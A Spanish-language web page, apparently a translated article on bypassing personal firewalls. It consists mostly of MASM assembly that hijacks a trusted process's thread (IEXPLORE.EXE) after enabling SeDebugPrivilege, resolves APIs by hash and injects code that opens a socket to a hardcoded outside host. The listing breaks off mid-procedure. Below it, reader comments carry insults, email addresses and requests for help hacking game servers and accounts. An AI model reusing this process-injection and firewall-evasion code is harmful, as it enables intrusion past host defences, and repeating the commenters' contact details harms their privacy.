ADD EDX, k32base; add the base address
MOV pGetProcAddress, EDX; This will be correct once
; the loop is finished.

; Segunda etapa de chequeo de reenviador, si el puntod e entrada de esta funcion apunta a la siguiente cadema Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.

CMP EDX, ECX; chequeo de reenviador
JNE FWD; ignorar puntos de entrada normales
INC forwards; este es el reenviador

FWD: POP EAX; Restaura iterador EAX
CMP EBX, 099C95590H; hash value for "GetProcAddress"
JNE M1

; Tenemos los que queriamos. Se usa una macro simple para cargar las funciones aplicando
pGetProcAddress.

LPROC k32base, sGetModuleHandle, pGetModuleHandle
LPROC k32base, sLoadLibrary, pLoadLibrary
LPROC k32base, sFreeLibrary, pFreeLibrary


PSHS sUser32; Necesitamos user32.dll
CALL pGetModuleHandle; asumimos que esta cargado
EJUMP INJECT_ERROR; podemos usar LoadLibrary)
MOV u32base,EAX; lo tenemos

PSHS sWS2_32; most important: winsock DLL
CALL pLoadLibrary; LoadLibrary("ws2_32.dll");
EJUMP INJECT_ERROR
MOV ws32base, EAX


LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose

PSHS wsa; ve nuestri segmento de datos artificiales
PUSH 2; Version 2 esta bien
CALL pWSAStartup; Do the WSAStartup()
CMP EAX, 0
JNE INJECT_ERROR

PUSH 0
PUSH SOCK_STREAM; Un socket de corriente normal
PUSH AF_INET; para conexiones de Internet.
CALL pSocket; Creamos el socket.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX

PUSH SIZEOF sockaddr; Conecta a www.itpromexico.com.mx:80
PSHS sAddr; estructura hardcoded
PUSH EBX; nuestro descriptor de socket
CALL pConnect; connect() to itpromexico.com.mx
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR

PUSH 0; no flags
PUSH 028H; 40 bytes to send
PSHS sRequ; the GET string
PUSH EBX; socket descriptor
CALL pSend; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR


; Ahora deberemos de recibir la respuesta del server. Solo queremos el encabezado HTTP para desplegar una
ventana de mensaje como indicador del un traspaso exitoso.


MOV ECX, 0; numero de bytes recibidos

PP: MOV EDX, iBase
ADD EDX, OFFSET sRepl-inject

ADD EDX, ECX; EDX es la posicion actual interna
; La cadena del buffer
PUSH EDX
PUSH ECX

PUSH 0; no flags
PUSH 1; un byte para recibir
PUSH EDX; cadena del buffer
PUSH EBX; descriptor del socket
CALL pRecv; recv() el byte

POP ECX
POP EDX

CMP AL, 1; Se recibio el byte?
JNE PPE; un error ocurrio
CMP ECX,2; checar si ya lo recibimos
JS PP2; mas de 2 bytes

MOV AL, [EDX]; este es el byte que tenemos
CMP AL, [EDX-2]; estamos buscando un <CRLF><CRLF>
JNE PP2
CMP AL, 10; lo encontramos.
JE PPE; solo quremos los encabezados.

PP2: INC ECX
CMP ECX,600; tamaño maximo del buffer 600 bytes
JNE PP


PPE: PUSH EBX; descriptor del socket
CALL pClose; cierra el socket

PUSH 64; icono de informacion y boton de ok
PSHS sCap; la cadena a mostrar
PSHS sRepl; encabezado HTTP de www.itpromexico.com.mx
PUSH 0
CALL pMessageBox; despliega el mensaje.

JMP INJECT_SUCCESS; hemos alcanzado exito.

INJECT_SUCCESS:
MOV EAX, 1; regresa valores en EAX
JMP INJECT_CLEANUP

INJECT_ERROR:
MOV EAX, 0; regresa un valor booleano (exito)

INJECT_CLEANUP:
PUSH EAX; salva nuestro valor regresado
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup; realiza limpieza
CMP ws32base, 0; revisa si se cargo ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary; libera ws2_32.dll

INJECT_DONE:
POP EAX; restaura el valor de salida
RET; y sal

inject ENDP

inject_end: END Main




-[0x0C] :: código fuente tiny.exe ------------------------------------------

este es el código ASM para el segundo programa de traspaso.

.386
.MODEL flat, stdcall

INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc

bypass PROTO; traspaso de Firewall Tiny
inject PROTO, iBase:DWORD; Funcion inyectada
getsvc PROTO, pProcessInfo:DWORD; encuentra los procesos confiables que estan ejecutandose
getdbg PROTO; activa el privilegio SE_DEBUG


; La macro PSHS es utilizada para empujar la direccion
; de una estructura a un lado de la pila dentro del espacio de direccion del
; proceso remoto. iBase contiene las direcciones donde el
; código inyectado empieza.

PSHS MACRO BUFFER
MOV EDX, iBase
ADD EDX, OFFSET BUFFER - inject
PUSH EDX
ENDM

; La macro LPROC asume que pGetProcAddress tiene
; la direccion de la llamada API GetProcAddress() y
; simula su comportamiento. PROCNAME es una cadena dentro
; del codigo inyectado que tiene el nombre d ela funcion y
; PROCADDR es una variable DWORD dentro del codigo
; inyectado que obtendra la direccion de esa funcion.
; BASEDLL, como su nombre lo sugiere, debe de tener la
; direccion base de la DLL apropiada.

LPROC MACRO BASEDLL, PROCNAME, PROCADDR
PSHS PROCNAME
PUSH BASEDLL
CALL pGetProcAddress
EJUMP INJECT_ERROR
MOV PROCADDR, EAX
ENDM

EJUMP MACRO TARGET_CODE; jump when EAX is 0.
CMP EAX, 0
JE TARGET_CODE
ENDM


.DATA
; Este es el nombre del proceso confiable que estamos buscando.
; Si sabes lo que haces, se peude jugar con esto
; y ver que otras aplicaciones funcionan con el
; codigo actual (es decir, secuestrar un hilo principal).
; "OUTLOOK.EXE" funciona bien.

TRUSTED DB "IEXPLORE.EXE",0


SE_DEBUG DB "SeDebugPrivilege",0; privilegio de debug
IEV_NAME DB "TINY0",0; nuestro nombre de evento
IEV_HANDLE DD ?; handle del evento
FUNCSZE EQU iend-istart; tamaño de la inyeccion
CODESZE EQU 19; tamaño de nuestro "shellcode"
ALLSZE EQU FUNCSZE + CODESZE; tamaño completo
FUNCADDR EQU istart; salida de la inyeccion

; JUMPDIFF es el numero de bytes desde el inicio del
; shellcode hasta la instruccion. Se requiere para calcular
; el valor de JUMP_ADDR, vean abajo.

JUMPDIFF EQU 14


; Este "shellcode" debera ser inyectado al proceso
; confiable directamente desdel el procedimiento de inyeccion
; en si mismo. Simplemente llamara la funcion de inyeccion
; con la direccion base como primer argumento y
; brinc hacia atras a la direccion donde se secuestro el hilo
; anteriormente. La direccion de nuestra funcion de
; inyeccion (PUSH_ADDR) y el EIP original del hilo
; secuestrado (JUMP_ADDR) sera calculado en
; tiempo de ejecucion por supuesto.

SHELLCODE LABEL BYTE

PUSHAD_CODE DB 060H; PUSHAD
PUSHFD_CODE DB 09CH; PUSHFD
PUSH_CODE DB 068H; PUSH <function address>
PUSH_ADDR DD ?
CALL_CODE DB 0E8H; CALL <function address>
CALL_ADDR DD 07H
POPFD_CODE DB 09DH; POPFD
POPAD_CODE DB 061H; POPAD
JUMP_CODE DB 0E9H; JUMP <original EIP>
JUMP_ADDR DD ?
; <injector function>
; ...

.CODE


Main:; no mucho que hacer excepto llamar
; la funcion de traspaso en este ejemplo.

INVOKE bypass
INVOKE ExitProcess, 0


getdbg PROC; enables the SE_DEBUG privilege for ourself
LOCAL token:HANDLE
LOCAL priv:TOKEN_PRIVILEGES
LOCAL luid:LUID
INVOKE LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
EJUMP DBE0
MOV priv.PrivilegeCount, 01H
MOV priv.Privileges.Attributes, 02H
MOV EAX,luid.LowPart
MOV priv.Privileges.Luid.LowPart,EAX
MOV EAX,luid.HighPart
MOV priv.Privileges.Luid.HighPart,EAX
INVOKE GetCurrentProcess
MOV ECX,EAX
INVOKE OpenProcessToken,ECX,020H, ADDR token
MOV ECX, token
CMP ECX, 0
JE DBE0
INVOKE AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
MOV ECX,EAX
INVOKE CloseHandle, token
MOV EAX,ECX
DBE0: RET
getdbg ENDP



getsvc PROC, pProcessInfo:DWORD

; Esta funcion llena una estructura PROCESS_INFORMATION
; con el ID y toma el proceso confiable requerido y su hilo
; principal. La herramienta de ayuda de API es utilizada para
; obtener esta informacion.

LOCAL p32:PROCESSENTRY32
LOCAL t32:THREADENTRY32

LOCAL hShot:DWORD

MOV p32.dwSize, SIZEOF PROCESSENTRY32
MOV t32.dwSize, SIZEOF THREADENTRY32

INVOKE getdbg; we need SE_DEBUG first

; Crea un snapshot de todos los procesos e hilos
; 06H es la mascara de bits apropiada
; para este proposito, busquenlo si no me creen

INVOKE CreateToolhelp32Snapshot,06H,0
MOV hShot,EAX

; Empezamos a buscar el proceso confiable.
; Compararemos el nombre del modulo principal
; del proceso con la cadena TRUSTED
; hasta que encontremos uno que cuadre.

INVOKE Process32First, hShot, ADDR p32
CMP EAX, 0
JE GSE1

GSL: LEA EDX, p32.szExeFile
INVOKE lstrcmpi, EDX, OFFSET TRUSTED

CMP EAX, 0; lstrcmpi no es sensible a mayusculas!
JE GSL1; bien, hallamos el proceso

INVOKE Process32Next, hShot, ADDR p32

CMP EAX, 0; no mas procesos,
JE GSE1; no exito
JMP GSL; de otra manera, continua el ciclo

; Hemos encontrando una instancia del proceso
; confiable, continuamos obteniendo informacion
; sobre este hilo primario y ganando acceso
; para manejar tanto el proceso en si mismo como
; el hilo. Para encontrar el hilo tenemos que
; revisar todas las entradas en el
; snapshot hasta que descubramos el hilo que ha sido
; creado por el proceso que encontramos.

GSL1: INVOKE Thread32First, hShot, ADDR t32
MOV EBX, 0

TSL: MOV EDX, t32.th32OwnerProcessID
CMP EDX, p32.th32ProcessID
JE TSL0
INVOKE Thread32Next, hShot, ADDR t32
CMP EAX, 0; no mas hilos (raro),
JE GSE1; sin exito
JMP TSL; de otra manera, continua el loop

; Ahora, ya que tenemos los ID's del proceso
; y del hilo principal,
; usamos OpenProcess() y OpenThread() para
; poder manejar ambos. yep, estas en lo cierto,
; OpenThread no es una llamada documentada,
; pero parece que fuera mas que un accidente.
; Es exportada por kernel32.dll justo como
; OpenProcess().

TSL0: MOV EDX, pProcessInfo; direccion de la estructura

MOV EAX,p32.th32ProcessID; copia el ID del proceso
MOV [EDX+08H], EAX

MOV EAX, t32.th32ThreadID; copia el ID del hilo
MOV [EDX+0CH], EAX

PUSH EDX; salva la direccion


INVOKE OpenProcess, PROCESS_ALL_ACCESS, \
0, p32.th32ProcessID

CMP EAX, 0
JE GSE1
MOV EBX, EAX

INVOKE OpenThread, THREAD_ALL_ACCESS, 0, \
t32.th32ThreadID

CMP EAX, 0
JE GSE1

POP EDX; restaura la direccion
MOV [EDX], EBX; copia el proceso
MOV [EDX+04H], EAX; copia el hilo

PUSH 1; exito
JMP GSE0

GSE1: PUSH 0; falla

GSE0: CMP hShot, 0
JE GSE
INVOKE CloseHandle, hShot; limpieza

GSE: POP EAX; lanza el valor retornado a EAX
RET; eso es.

getsvc ENDP



istart:

inject PROC, iBase:DWORD


LOCAL k32base :DWORD
LOCAL expbase :DWORD
LOCAL forwards :DWORD

LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary :DWORD
LOCAL pFreeLibrary :DWORD

LOCAL pOpenEvent :DWORD
LOCAL pCloseHandle :DWORD
LOCAL pSetEvent :DWORD

LOCAL pMessageBox :DWORD
LOCAL u32base :DWORD
LOCAL ws32base :DWORD

LOCAL pWSAStartup :DWORD
LOCAL pWSACleanup :DWORD

LOCAL pSocket :DWORD
LOCAL pConnect :DWORD
LOCAL pSend :DWORD
LOCAL pRecv :DWORD
LOCAL pClose :DWORD

JMP IG


sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0

sOpenEvent DB "OpenEventA" ,0
sCloseHandle DB "CloseHandle" ,0
sSetEvent DB "SetEvent" ,0
sFWPEVENT DB "TINY0" ,0

sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0

sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0

sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0

wsa LABEL BYTE
wVersion DW 0
wHighVersion DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0

sAddr LABEL BYTE
sin_family DW AF_INET
sin_port DW 05000H
sin_addr DD 006EE3745H
sin_zero DQ 0



sStartC DB "SetUp Complete",0
sStart DB "Injector SetUp complete. ", \
"Sending request:",13,10,13,10

sRequ DB "GET / HTTP/1.0",13,10, \
"Host: www.itpromexico.com.mx",\
13,10,13,10,0

sCap DB "Inyeccion exitosa",0
sRepl DB 601 DUP(0)


IG: ASSUME FS:NOTHING; este es un bypass de errores MASM.

MOV EAX, FS:[030H]; se obtiene el PEB (Process Environment Block)
TEST EAX, EAX; Check for Win9X
JS W9X

WNT: MOV EAX, [EAX+00CH]; WinNT: get PROCESS_MODULE_INFO
MOV ESI, [EAX+01CH]; Obtenemos fLink desde la lista ordenada de modulost
LODSD; Cargamos la direccion de bLink en eax
MOV EAX, [EAX+008H]; Copia el modulo base de la lista
JMP K32; Realizado

W9X: MOV EAX, [EAX+034H]; Salida No documentada (0x34)
LEA EAX, [EAX+07CH]; ...
MOV EAX, [EAX+03CH]; ...
K32: MOV k32base,EAX; Mantiene una copia de la direccion base
MOV pGetProcAddress, 0; ahoa buscamos por GetProcAddress
MOV forwards,0; Ponemso los reenviadores a 0

MOV pWSACleanup, 0; Necsitaremos esos para el error -
MOV ws32base, 0; checa latencias
MOV pOpenEvent, 0

ADD EAX,[EAX+03CH]; apunta a IMAGE_NT_HEADERS
MOV EAX,[EAX+078H]; RVA del directorio de exportacion
ADD EAX,k32base; desde RVA: agrega la direccion base
MOV expbase,EAX; IMAGE_EXPORTS_DIRECTORY

MOV EAX,[EAX+020H]; RVA del arreglo de AddressOfNames
ADD EAX,k32base; agrega la direccion base

MOV ECX,[EAX]; ECX: RVA de la primera cadena
ADD ECX,k32base; agrega la direccion base

MOV EAX,0; EAX servira como contador
JMP M2; inicia el loop

M1: INC EAX; Incrementa el EAX cada ciclo
M2: MOV EBX, 0; EBX sera el hash calculado

HASH: MOV EDX, EBX
SHL EBX, 05H
SHR EDX, 01BH
OR EBX, EDX
MOV EDX, 0
MOV DL, [ECX]; Copia el caracter actual al DL
ADD EBX, EDX; y agrega el DL al valor de hash
INC ECX; incrementa el puntero de la cadena
MOV DL, [ECX]; siguiente caracter en DL, ahora:
CMP EDX, 0; checar por el caracter nulo
JNE HASH


; Aqui es donde debemos tener siempre cuidado con los reenviadores.
; siempre restamos el numero de reenviadores
; que ya esta siendo ocupado por nuestro iterador (EAX) para
; obtener la salida apropaida desde el segundo
; arreglo.

PUSH EAX; salva el EAX a la pila
SUB EAX,forwards; resta reenviadores
IMUL EAX,4; direcciones son DWORD's
INC ECX; Mueve el puntero ECX al inicio
; del siguiente nombre

MOV EDX, expbase; carga el directorio de exportaciones
MOV EDX, [EDX+01CH]; EDX: arreglo de puntos de entrada
ADD EDX, k32base; agrega la direccion base
MOV EDX, [EDX+EAX]; busca la funcion RVA
ADD EDX, k32base; agrega la direccion base
MOV pGetProcAddress, EDX; este sera el correcto cuando el loop termine.

; Segunda etapa de nuestro chequeo de reenviadores: si el
; "punto de entrada" de esta funcion apunta a
; la siguiente cadena en el arreglo #1, hemos encontrado el reenviador.

CMP EDX, ECX; chequeo de reenviador
JNE FWD; ignora puntos de entrada normales
INC forwards; este es un reenviador

FWD: POP EAX; Restaura el interador EAX
CMP EBX, 099C95590H; valor hash para "GetProcAddress"
JNE M1

; tenemos loq ue encesitamos. se usa una simple macro para
; cargar las funciones aplicando pGetProcAddress.

LPROC k32base, sGetModuleHandle, pGetModuleHandle
LPROC k32base, sLoadLibrary, pLoadLibrary
LPROC k32base, sFreeLibrary, pFreeLibrary

LPROC k32base, sOpenEvent, pOpenEvent
LPROC k32base, sCloseHandle, pCloseHandle
LPROC k32base, sSetEvent, pSetEvent


PSHS sUser32; necesitamos user32.dll
CALL pGetModuleHandle; asumimos que ya esta cargado
EJUMP INJECT_ERROR; (podemos usar LoadLibrary)
MOV u32base,EAX; hecho

PSHS sWS2_32; muy importante: winsock DLL
CALL pLoadLibrary; LoadLibrary("ws2_32.dll");
EJUMP INJECT_ERROR
MOV ws32base, EAX


LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose

PSHS wsa vemos nuestro segmento de datos artificial
PUSH 2; Version 2 esta ok
CALL pWSAStartup; ejecuta WSAStartup()
CMP EAX, 0
JNE INJECT_ERROR

PUSH 0
PUSH SOCK_STREAM; un socket normal de ventanas
PUSH AF_INET; para conexiones de Internet.
CALL pSocket; Crealo.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX

PUSH SIZEOF sockaddr; Conecta a www.itpromexico.com.mx:80
PSHS sAddr; estructura grabada
PUSH EBX; nuestro descriptor de socket
CALL pConnect; connect() a itpromexico.com.mx
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR

PUSH 0; sin banderas
PUSH 028H; 40 bytes para enviar
PSHS sRequ; la cadena GET
PUSH EBX; descriptor de socket
CALL pSend; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR


; Ahora recibimos la respuesta del server. Solamente
; queremos el encabezado HTTP para desplegarse en una ventana de mensaje
; como indicador de traspaso exitoso.


MOV ECX, 0; numero de bytes recibidos

PP: MOV EDX, iBase
ADD EDX, OFFSET sRepl-inject

ADD EDX, ECX; EDX es la posicion actual
; la cadena del buffer
PUSH EDX
PUSH ECX

PUSH 0; no banderas
PUSH 1; un byte para recibir
PUSH EDX; cadena del buffer
PUSH EBX; descriptor de socket
CALL pRecv; recv() el byte

POP ECX
POP EDX

CMP AL, 1; un byte recibido?
JNE PPE; un error ocurrio
CMP ECX,2; checa si ya se recibio
JS PP2; mas de 2 bytes

MOV AL, [EDX]; este es el byte que tenemost
CMP AL, [EDX-2]; buscamos <CRLF><CRLF>
JNE PP2
CMP AL, 10; lo encontramos.
JE PPE; solo queremos los encabezados.

PP2: INC ECX
CMP ECX,600; tamaño max de buffer 600 bytes
JNE PP


PPE: PUSH EBX; descriptor de socket
CALL pClose; cierra el socket

PUSH 64; icono de informacion y boton de ok
PSHS sCap; la cadena a mostrar
PSHS sRepl; encabezado HTTP de www.itpromexico.com.mx
PUSH 0
CALL pMessageBox; muestra la vventana de mensaje.

JMP INJECT_SUCCESS; tenemos exito.

INJECT_SUCCESS:
PUSH 1; return success
JMP INJECT_CLEANUP

INJECT_ERROR:
PUSH 0; return failure

INJECT_CLEANUP:

PUSH EAX; salva el valor regesado
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup; realiza limpieza
CMP ws32base, 0; checa si esta cargado ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary; libera ws2_32.dll

; el siguiente es la unica diferencia real
; al codigo en la muestra #1. Es utilizado para señalar
; un evento con el nombre "TINY0" de forma que
; el ejecutable inyector sepa cuando el codigo ha
; hecho el trabajo.

CMP pOpenEvent, 0
JE INJECT_DONE

PSHS sFWPEVENT; "TINY0"
PUSH 0; not inheritable
PUSH EVENT_ALL_ACCESS; lo que sea
CALL pOpenEvent; abre el evento
CMP EAX, 0
JE INJECT_DONE
MOV EBX, EAX

PUSH EBX
CALL pSetEvent; señala el evento

PUSH EBX
CALL pCloseHandle; cierra la llamada

INJECT_DONE:

POP EAX
RET; y regresa

inject ENDP
iend:



bypass PROC

LOCAL pinf :PROCESS_INFORMATION
LOCAL mct :CONTEXT

LOCAL dwReturn :DWORD; regresa el valor
LOCAL dwRemoteThreadID :DWORD; ID de hilo remoto
LOCAL pbRemoteMemory :DWORD; direccion base r
C O M E N T A R I O S


Comentario enviado por: Anonimo

pinche culo los 2 su portal es una mierda y los boy a anunciar para ke se les kite los putos attt. anonimo
compuestos efren espinosa y un integrante de la radiofuxxionccom fueron los ke formron esta pajina
tu_nene_sexy_12 y sepa la verga el otro

Fecha de Publicacion: 14/10/2006 (dia/mes/año)


Comentario enviado por: Anonimo

Hola, una pregunta. ¿Saves editar en el juego Mu Online? ese juego siempre llevan un firewall, Si alguien save como editar en el Mu que tene firewall porfavor agregarme Matius.91@hotmail.com

Fecha de Publicacion: 30/10/2006 (dia/mes/año)


Comentario enviado por: Anonimo

yo tambien necesito editar en servidores con firewall.. si saves por favor agrega a emiliano_c28@hotmail.con

Fecha de Publicacion: 12/12/2006 (dia/mes/año)


Comentario enviado por: Anonimo

Esta vaina no la entendi, por favor si van a publicar algo, no se lo copien de otras web, haganlo ustedes mismos de una manera en q el usuario pueda entenderla sin necesidad de saber mucho de Programación... No se si me entiendan, nadie nació aprendido

Fecha de Publicacion: 20/12/2006 (dia/mes/año)


Comentario enviado por: Anonimo

si alguien sabe como editar items en un servidor con firewall ke me agregue gracias mi msn es edu_2054_@hotmail.com

Fecha de Publicacion: 30/01/2007 (dia/mes/año)


Comentario enviado por: Anonimo

hola una pregunta como hago para modificar las cuentas de horus si me podrias contestar a mi msn gabriel_Rios2004@hotmail.com gracias

Fecha de Publicacion: 08/01/2007 (dia/mes/año)